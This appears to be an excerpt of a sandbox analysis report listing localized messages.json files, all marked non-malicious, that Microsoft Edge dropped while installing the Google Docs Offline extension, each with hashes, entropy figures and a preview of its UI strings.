Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
